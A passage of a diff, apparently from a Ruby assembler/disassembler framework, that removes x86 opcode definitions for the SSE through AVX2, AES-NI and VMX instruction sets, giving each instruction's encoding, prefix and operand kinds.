0xD6], :mrmmmx, :modrmR) { |o| o.args[o.args.index(:modrmmmx)] = :modrmxmm ; o.props[:needpfx] = 0xF2 } - addop('movq', [0x0F, 0x7E], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 ; o.props[:argsz] = 128 } - addop('movq', [0x0F, 0xD6], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 ; o.props[:argsz] = 128 } - - addop 'paddq', [0x0F, 0xD4], :mrmmmx, :xmmx - addop 'pmuludq', [0x0F, 0xF4], :mrmmmx, :xmmx - addop('pshuflw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF2 } - addop('pshufhw', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0xF3 } - addop('pshufd', [0x0F, 0x70], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('pslldq', [0x0F, 0x73, 0xF8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('psrldq', [0x0F, 0x73, 0xD8], nil, {:regxmm => [2, 0]}, :regxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop 'psubq', [0x0F, 0xFB], :mrmmmx, :xmmx - addop('punpckhqdq', [0x0F, 0x6D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('punpcklqdq', [0x0F, 0x6C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('clflush', [0x0F, 0xAE, 7<<3], :modrmA) { |o| o.props[:argsz] = 8 } - addop('maskmovdqu', [0x0F, 0xF7], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('movntpd', [0x0F, 0x2B], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movntdq', [0x0F, 0xE7], :mrmxmm) { |o| o.args.reverse! ; o.props[:needpfx] = 0x66 } - addop('movnti', [0x0F, 0xC3], :mrm) { |o| o.args.reverse! } - addop('pause', [0x90]) { |o| o.props[:needpfx] = 0xF3 } - addop 'lfence', [0x0F, 0xAE, 0xE8] - addop 'mfence', [0x0F, 0xAE, 0xF0] - end - - def init_sse3_only - init_cpu_constants - - addop('addsubpd', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('addsubps', [0x0F, 0xD0], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('haddpd', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('haddps', [0x0F, 0x7C], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('hsubpd', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('hsubps', [0x0F, 0x7D], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - - addop 'monitor', [0x0F, 0x01, 0xC8] - addop 'mwait', [0x0F, 0x01, 0xC9] - - addop('fisttp', [0xDF, 1<<3], :modrmA) { |o| o.props[:argsz] = 16 } - addop('fisttp', [0xDB, 1<<3], :modrmA) { |o| o.props[:argsz] = 32 } - addop('fisttp', [0xDD, 1<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('lddqu', [0x0F, 0xF0], :mrmxmm, :modrmA) { |o| o.args[o.args.index(:modrmxmm)] = :modrm ; o.props[:needpfx] = 0xF2 } - addop('movddup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF2 } - addop('movshdup', [0x0F, 0x16], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - addop('movsldup', [0x0F, 0x12], :mrmxmm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_ssse3_only - init_cpu_constants - - addop_macrogg 0..2, 'pabs', [0x0F, 0x38, 0x1C], :mrmmmx, :xmmx - addop 'palignr', [0x0F, 0x3A, 0x0F], :mrmmmx, :u8, :xmmx - addop 'phaddd', [0x0F, 0x38, 0x02], :mrmmmx, :xmmx - addop 'phaddsw', [0x0F, 0x38, 0x03], :mrmmmx, :xmmx - addop 'phaddw', [0x0F, 0x38, 0x01], :mrmmmx, :xmmx - addop 'phsubd', [0x0F, 0x38, 0x06], :mrmmmx, :xmmx - addop 'phsubsw', [0x0F, 0x38, 0x07], :mrmmmx, :xmmx - addop 'phsubw', [0x0F, 0x38, 0x05], :mrmmmx, :xmmx - addop 'pmaddubsw',[0x0F, 0x38, 0x04], :mrmmmx, :xmmx - addop 'pmulhrsw', [0x0F, 0x38, 0x0B], :mrmmmx, :xmmx - addop 'pshufb', [0x0F, 0x38, 0x00], :mrmmmx, :xmmx - addop_macrogg 0..2, 'psignb', [0x0F, 0x38, 0x80], :mrmmmx, :xmmx - end - - def init_aesni_only - init_cpu_constants - - addop('aesdec', [0x0F, 0x38, 0xDE], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesdeclast',[0x0F, 0x38, 0xDF], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesenc', [0x0F, 0x38, 0xDC], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesenclast',[0x0F, 0x38, 0xDD], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aesimc', [0x0F, 0x38, 0xDB], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('aeskeygenassist', [0x0F, 0x3A, 0xDF], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - - addop('pclmulqdq', [0x0F, 0x3A, 0x44], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - end - - def init_vmx_only - init_cpu_constants - - addop 'vmcall', [0x0F, 0x01, 0xC1] - addop 'vmlaunch', [0x0F, 0x01, 0xC2] - addop 'vmresume', [0x0F, 0x01, 0xC3] - addop 'vmxoff', [0x0F, 0x01, 0xC4] - addop 'vmread', [0x0F, 0x78], :mrm - addop 'vmwrite', [0x0F, 0x79], :mrm - addop('vmclear', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 } - addop('vmxon', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 ; o.props[:needpfx] = 0xF3 } - addop('vmptrld', [0x0F, 0xC7, 6<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('vmptrrst', [0x0F, 0xC7, 7<<3], :modrmA) { |o| o.props[:argsz] = 64 } - addop('invept', [0x0F, 0x38, 0x80], :mrmA) { |o| o.props[:needpfx] = 0x66 } - addop('invvpid', [0x0F, 0x38, 0x81], :mrmA) { |o| o.props[:needpfx] = 0x66 } - - addop 'getsec', [0x0F, 0x37] - - addop 'xgetbv', [0x0F, 0x01, 0xD0] - addop 'xsetbv', [0x0F, 0x01, 0xD1] - addop 'rdtscp', [0x0F, 0x01, 0xF9] - addop 'xrstor', [0x0F, 0xAE, 5<<3], :modrmA - addop 'xsave', [0x0F, 0xAE, 4<<3], :modrmA - end - - def init_sse41_only - init_cpu_constants - - addop('blendpd', [0x0F, 0x3A, 0x0D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('blendps', [0x0F, 0x3A, 0x0C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('blendvpd', [0x0F, 0x38, 0x15], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('blendvps', [0x0F, 0x38, 0x14], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('dppd', [0x0F, 0x3A, 0x41], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('dpps', [0x0F, 0x3A, 0x40], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('extractps',[0x0F, 0x3A, 0x17], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('insertps', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('movntdqa', [0x0F, 0x38, 0x2A], :mrmxmm, :modrmA) { |o| o.props[:needpfx] = 0x66 } - addop('mpsadbw', [0x0F, 0x3A, 0x42], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('packusdw', [0x0F, 0x38, 0x2B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pblendvb', [0x0F, 0x38, 0x10], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pblendw', [0x0F, 0x3A, 0x1E], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpeqq', [0x0F, 0x38, 0x29], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pextrb', [0x0F, 0x3A, 0x14], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } - addop('pextrw', [0x0F, 0x3A, 0x15], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } - addop('pextrd', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } - addop('pinsrb', [0x0F, 0x3A, 0x20], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 8 } - addop('pinsrw', [0x0F, 0x3A, 0x21], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 16 } - addop('pinsrd', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:argsz] = 32 } - addop('phminposuw', [0x0F, 0x38, 0x41], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminsb', [0x0F, 0x38, 0x38], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminsd', [0x0F, 0x38, 0x39], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminuw', [0x0F, 0x38, 0x3A], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pminud', [0x0F, 0x38, 0x3B], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxsb', [0x0F, 0x38, 0x3C], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxsd', [0x0F, 0x38, 0x3D], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxuw', [0x0F, 0x38, 0x3E], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmaxud', [0x0F, 0x38, 0x3F], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('pmovsxbw', [0x0F, 0x38, 0x20], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxbd', [0x0F, 0x38, 0x21], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxbq', [0x0F, 0x38, 0x22], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxwd', [0x0F, 0x38, 0x23], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxwq', [0x0F, 0x38, 0x24], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovsxdq', [0x0F, 0x38, 0x25], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxbw', [0x0F, 0x38, 0x30], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxbd', [0x0F, 0x38, 0x31], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxbq', [0x0F, 0x38, 0x32], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxwd', [0x0F, 0x38, 0x33], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxwq', [0x0F, 0x38, 0x34], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmovzxdq', [0x0F, 0x38, 0x35], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - - addop('pmuldq', [0x0F, 0x38, 0x28], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('pmulld', [0x0F, 0x38, 0x40], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('ptest', [0x0F, 0x38, 0x17], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('roundps', [0x0F, 0x3A, 0x08], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('roundpd', [0x0F, 0x3A, 0x09], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('roundss', [0x0F, 0x3A, 0x0A], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - addop('roundsd', [0x0F, 0x3A, 0x0B], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66 } - end - - def init_sse42_only - init_cpu_constants - - addop('crc32', [0x0F, 0x38, 0xF0], :mrmw) { |o| o.props[:needpfx] = 0xF2 } - addop('pcmpestrm', [0x0F, 0x3A, 0x60], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpestri', [0x0F, 0x3A, 0x61], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistrm', [0x0F, 0x3A, 0x62], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpistri', [0x0F, 0x3A, 0x63], :mrmxmm, :i8) { |o| o.props[:needpfx] = 0x66 } - addop('pcmpgtq', [0x0F, 0x38, 0x37], :mrmxmm) { |o| o.props[:needpfx] = 0x66 } - addop('popcnt', [0x0F, 0xB8], :mrm) { |o| o.props[:needpfx] = 0xF3 } - end - - def init_avx_only - init_cpu_constants - - add128 = {} - add256 = {} - %w[movss movsd movlhps movhpd movhlps - cvtsi2ss cvtsi2sd sqrtss sqrtsd rsqrtss rcpss - addss addsd mulss mulsd cvtss2sd cvtsd2ss subss subsd - minss minsd divss divsd maxss maxsd - punpcklb punpcklw punpckld packsswb pcmpgtb pcmpgtw pcmpgtd packuswb - punpckhb punpckhw punpckhd packssdw punpcklq punpckhq - pcmpeqb pcmpeqw pcmpeqd ldmxcsr stmxcsr - cmpss cmpsd paddq pmullw psubusb psubusw pminub - pand paddusb paddusw pmaxub pandn pavgb pavgw - pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw pmaxsw pxor - pmuludq pmaddwd psadbw - psubb psubw psubd psubq paddb paddw paddd - phaddw phaddsw phaddd phsubw phsubsw phsubd - pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd - dppd insertps mpsadbw packusdw pblendw pcmpeqq - pinsrb pinsrw pinsrd pinsrq - pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw - pmuldq pmulld roundsd roundss pcmpgtq - aesdec aesdeclast aesenc aesenclast - pclmulqdq punpcklbw punpcklwd punpckldq punpckhbw punpckhwd - punpckhdq punpcklqdq punpckhqdq].each { |n| add128[n] = true } - - %w[movups movupd movddup movsldup - unpcklps unpcklpd unpckhps unpckhpd - movaps movshdup movapd movntps movntpd movmskps movmskpd - sqrtps sqrtpd rsqrtps rcpps andps andpd andnps andnpd - orps orpd xorps xorpd addps addpd mulps mulpd - cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq cvttps2dq - subps subpd minps minpd divps divpd maxps maxpd - movdqa movdqu haddpd haddps hsubpd hsubps - cmpps cmppd shufps shufpd addsubpd addsubps - cvtpd2dq cvttpd2dq cvtdq2pd movntdq lddqu - blendps blendpd blendvps blendvpd dpps ptest - roundpd roundps].each { |n| add128[n] = add256[n] = true } - - varg = Hash.new(1) - %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa - pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq - pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq - aesimc aeskeygenassist lddqu maskmovdqu movapd movaps - pcmpestri pcmpestrm pcmpistri pcmpistrm phminposuw - cvtpd2dq cvttpd2dq cvtdq2pd cvtps2pd cvtpd2ps cvtdq2ps cvtps2dq - cvttps2dq movd movq movddup movdqa movdqu movmskps movmskpd - movntdq movntps movntpd movshdup movsldup movups movupd - pextrb pextrw pextrd pextrq ptest rcpps roundps roundpd - extractps sqrtps sqrtpd comiss comisd ucomiss ucomisd - cvttss2si cvttsd2si cvtss2si cvtsd2si - ].each { |n| add128[n] = true ; varg[n] = nil } - - cvtarg128 = { :regmmx => :regxmm, :modrmmmx => :modrmxmm } - cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, - :regxmm => :regymm, :modrmxmm => :modrmymm } - - # autopromote old sseX opcodes - @opcode_list.each { |o| - next if o.bin[0] != 0x0F or not add128[o.name] # rep cmpsd / movsd - - mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) - pp = o.props[:needpfx] - pp = 0x66 if o.props[:xmmx] - fpxlen = (mm == 0x0F ? 1 : 2) - - addop_vex('v' + o.name, [varg[o.name], 128, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg128[oa] || oa }) { |oo| - oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] - dbinlen = o.bin.length - oo.bin.length - o.fields.each { |k, v| oo.fields[cvtarg128[k] || k] = [v[0]-dbinlen, v[1]] } - o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } - } - - next if not add256[o.name] - addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| - oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] - dbinlen = o.bin.length - oo.bin.length - o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } - o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } - } - } - - # sse promotion, special cases - addop_vex 'vpblendvb', [1, 128, 0x66, 0x0F3A, 0], 0x4C, :mrmxmm, :i4xmm - addop_vex 'vpsllw', [1, 128, 0x66, 0x0F], 0xF1, :mrmxmm - addop_vex('vpsllw', [0, 128, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpslld', [1, 128, 0x66, 0x0F], 0xF2, :mrmxmm - addop_vex('vpslld', [0, 128, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsllq', [1, 128, 0x66, 0x0F], 0xF3, :mrmxmm - addop_vex('vpsllq', [0, 128, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex('vpslldq',[0, 128, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsraw', [1, 128, 0x66, 0x0F], 0xE1, :mrmxmm - addop_vex('vpsraw', [0, 128, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrad', [1, 128, 0x66, 0x0F], 0xE2, :mrmxmm - addop_vex('vpsrad', [0, 128, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrlw', [1, 128, 0x66, 0x0F], 0xD1, :mrmxmm - addop_vex('vpsrlw', [0, 128, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrld', [1, 128, 0x66, 0x0F], 0xD2, :mrmxmm - addop_vex('vpsrld', [0, 128, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex 'vpsrlq', [1, 128, 0x66, 0x0F], 0xD3, :mrmxmm - addop_vex('vpsrlq', [0, 128, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - addop_vex('vpsrldq',[0, 128, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmxmm } - - # dst==mem => no vreg - addop_vex 'vmovhps', [1, 128, nil, 0x0F], 0x16, :mrmxmm, :modrmA - addop_vex('vmovhps', [nil, 128, nil, 0x0F], 0x17, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex 'vmovlpd', [1, 128, 0x66, 0x0F], 0x12, :mrmxmm, :modrmA - addop_vex('vmovlpd', [nil, 128, 0x66, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } - addop_vex 'vmovlps', [1, 128, nil, 0x0F], 0x12, :mrmxmm, :modrmA - addop_vex('vmovlps', [nil, 128, nil, 0x0F], 0x13, :mrmxmm, :modrmA) { |o| o.args.reverse! } - - addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmA - addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmA - addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmA - addop_vex 'vbroadcastf128', [nil, 256, 0x66, 0x0F38, 0], 0x1A, :mrmymm, :modrmA - - # general-purpose register operations - addop_vex 'andn', [1, :vexvreg, 128, nil, 0x0F38], 0xF2, :mrm - addop_vex 'bextr', [2, :vexvreg, 128, nil, 0x0F38], 0xF7, :mrm - addop_vex 'blsi', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 3 - addop_vex 'blsmsk', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 2 - addop_vex 'blsr', [0, :vexvreg, 128, nil, 0x0F38], 0xF3, 1 - addop_vex 'bzhi', [2, :vexvreg, 128, nil, 0x0F38], 0xF5, :mrm - addop('lzcnt', [0x0F, 0xBD], :mrm) { |o| o.props[:needpfx] = 0xF3 } - addop_vex 'mulx', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF6, :mrm - addop_vex 'pdep', [1, :vexvreg, 128, 0xF2, 0x0F38], 0xF5, :mrm - addop_vex 'pext', [1, :vexvreg, 128, 0xF3, 0x0F38], 0xF5, :mrm - addop_vex 'rorx', [nil, 128, 0xF2, 0x0F3A], 0xF0, :mrm, :u8 - addop_vex 'sarx', [2, :vexvreg, 128, 0xF3, 0x0F38], 0xF7, :mrm - addop_vex 'shrx', [2, :vexvreg, 128, 0xF2, 0x0F38], 0xF7, :mrm - addop_vex 'shlx', [2, :vexvreg, 128, 0x66, 0x0F38], 0xF7, :mrm - addop('tzcnt', [0x0F, 0xBC], :mrm) { |o| o.props[:needpfx] = 0xF3 } - addop('invpcid', [0x0F, 0x38, 0x82], :mrm) { |o| o.props[:needpfx] = 0x66 } - addop 'rdrand', [0x0F, 0xC7], 6, :modrmR - addop 'rdseed', [0x0F, 0xC7], 7, :modrmR - addop('adcx', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0x66 } - addop('adox', [0x0F, 0x38, 0xF6], :mrm) { |o| o.props[:needpfx] = 0xF3 } - - # fp16 - addop_vex 'vcvtph2ps', [nil, 128, 0x66, 0x0F38, 0], 0x13, :mrmxmm - addop_vex 'vcvtph2ps', [nil, 256, 0x66, 0x0F38, 0], 0x13, :mrmymm - addop_vex('vcvtps2ph', [nil, 128, 0x66, 0x0F3A, 0], 0x1D, :mrmxmm, :u8) { |o| o.args.reverse! } - addop_vex('vcvtps2ph', [nil, 256, 0x66, 0x0F3A, 0], 0x1D, :mrmymm, :u8) { |o| o.args.reverse! } - - # TSE - addop 'xabort', [0xC6, 0xF8], nil, :i8 # may :stopexec - addop 'xbegin', [0xC7, 0xF8], nil, :i # may :setip: xabortreturns to $_(xbegin) + off - addop 'xend', [0x0F, 0x01, 0xD5] - addop 'xtest', [0x0F, 0x01, 0xD6] - - # SMAP - addop 'clac', [0x0F, 0x01, 0xCA] - addop 'stac', [0x0F, 0x01, 0xCB] - end - - def init_avx2_only - init_cpu_constants - - add256 = {} - %w[packsswb pcmpgtb pcmpgtw pcmpgtd packuswb packssdw - pcmpeqb pcmpeqw pcmpeqd paddq pmullw psubusb psubusw - pminub pand paddusb paddusw pmaxub pandn pavgb pavgw - pmulhuw pmulhw psubsb psubsw pminsw por paddsb paddsw - pmaxsw pxor pmuludq pmaddwd psadbw - psubb psubw psubd psubq paddb paddw paddd - phaddw phaddsw phaddd phsubw phsubsw phsubd - pmaddubsw palignr pshufb pmulhrsw psignb psignw psignd - mpsadbw packusdw pblendw pcmpeqq - pmaxsb pmaxsd pmaxud pmaxuw pminsb pminsd pminud pminuw - pmuldq pmulld pcmpgtq punpcklbw punpcklwd punpckldq - punpckhbw punpckhwd punpckhdq punpcklqdq punpckhqdq - ].each { |n| add256[n] = true } - - varg = Hash.new(1) - %w[pabsb pabsw pabsd pmovmskb pshufd pshufhw pshuflw movntdqa - pmovsxbw pmovsxbd pmovsxbq pmovsxwd pmovsxwq pmovsxdq - pmovzxbw pmovzxbd pmovzxbq pmovzxwd pmovzxwq pmovzxdq - maskmovdqu].each { |n| add256[n] = true ; varg[n] = nil } - - cvtarg256 = { :regmmx => :regymm, :modrmmmx => :modrmymm, - :regxmm => :regymm, :modrmxmm => :modrmymm } - - # autopromote old sseX opcodes - @opcode_list.each { |o| - next if o.bin[0] != 0x0F or not add256[o.name] - - mm = (o.bin[1] == 0x38 ? 0x0F38 : o.bin[1] == 0x3A ? 0x0F3A : 0x0F) - pp = o.props[:needpfx] - pp = 0x66 if o.props[:xmmx] - fpxlen = (mm == 0x0F ? 1 : 2) - - addop_vex('v' + o.name, [varg[o.name], 256, pp, mm], o.bin[fpxlen], nil, *o.args.map { |oa| cvtarg256[oa] || oa }) { |oo| - oo.bin += [o.bin[fpxlen+1]] if o.bin[fpxlen+1] - dbinlen = o.bin.length - oo.bin.length - o.fields.each { |k, v| oo.fields[cvtarg256[k] || k] = [v[0]-dbinlen, v[1]] } - o.props.each { |k, v| oo.props[k] = v if k != :xmmx and k != :needpfx } - } - } - - # promote special cases - addop_vex 'vpblendvb', [1, 256, 0x66, 0x0F3A, 0], 0x4C, :mrmymm, :i4ymm - addop_vex 'vpsllw', [1, 256, 0x66, 0x0F], 0xF1, :mrmymm - addop_vex('vpsllw', [0, 256, 0x66, 0x0F], 0x71, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpslld', [1, 256, 0x66, 0x0F], 0xF2, :mrmymm - addop_vex('vpslld', [0, 256, 0x66, 0x0F], 0x72, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsllq', [1, 256, 0x66, 0x0F], 0xF3, :mrmymm - addop_vex('vpsllq', [0, 256, 0x66, 0x0F], 0x73, 6, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex('vpslldq',[0, 256, 0x66, 0x0F], 0x73, 7, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsraw', [1, 256, 0x66, 0x0F], 0xE1, :mrmymm - addop_vex('vpsraw', [0, 256, 0x66, 0x0F], 0x71, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrad', [1, 256, 0x66, 0x0F], 0xE2, :mrmymm - addop_vex('vpsrad', [0, 256, 0x66, 0x0F], 0x72, 4, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrlw', [1, 256, 0x66, 0x0F], 0xD1, :mrmymm - addop_vex('vpsrlw', [0, 256, 0x66, 0x0F], 0x71, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrld', [1, 256, 0x66, 0x0F], 0xD2, :mrmymm - addop_vex('vpsrld', [0, 256, 0x66, 0x0F], 0x72, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex 'vpsrlq', [1, 256, 0x66, 0x0F], 0xD3, :mrmymm - addop_vex('vpsrlq', [0, 256, 0x66, 0x0F], 0x73, 2, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - addop_vex('vpsrldq',[0, 256, 0x66, 0x0F], 0x73, 3, :u8, :modrmR) { |o| o.args[o.args.index(:modrm)] = :modrmymm } - - addop_vex 'vbroadcastss', [nil, 128, 0x66, 0x0F38, 0], 0x18, :mrmxmm, :modrmR - addop_vex 'vbroadcastss', [nil, 256, 0x66, 0x0F38, 0], 0x18, :mrmymm, :modrmR - addop_vex 'vbroadcastsd', [nil, 256, 0x66, 0x0F38, 0], 0x19, :mrmymm, :modrmR - addop_vex 'vbroadcasti128', [nil, 256, 0x66, 0x0F38, 0], 0x5A, :mrmymm, :modrmA - addop_vex 'vpblendd', [1, 128, 0x66, 0x0F3A, 0], 0x02, :mrmxmm, :u8 - addop_vex 'vpblendd', [1, 256, 0x66, 0x0F3A, 0], 0x02, :mrmymm, :u8 - addop_vex 'vpbroadcastb', [nil, 128, 0x66, 0x0F38, 0], 0x78, :mrmxmm - addop_vex 'vpbroadcastb', [nil, 256, 0x66, 0x0F38, 0], 0x78, :mrmymm - addop_vex 'vpbroadcastw', [nil, 128, 0x66, 0x0F38, 0], 0x79, :mrmxmm - addop_vex 'vpbroadcastw', [nil, 256, 0x66, 0x0F38, 0], 0x79, :mrmymm - addop_vex 'vpbroadcastd', [nil, 128, 0x66, 0x0F38, 0], 0x58, :mrmxmm - addop_vex 'vpbroadcastd', [nil, 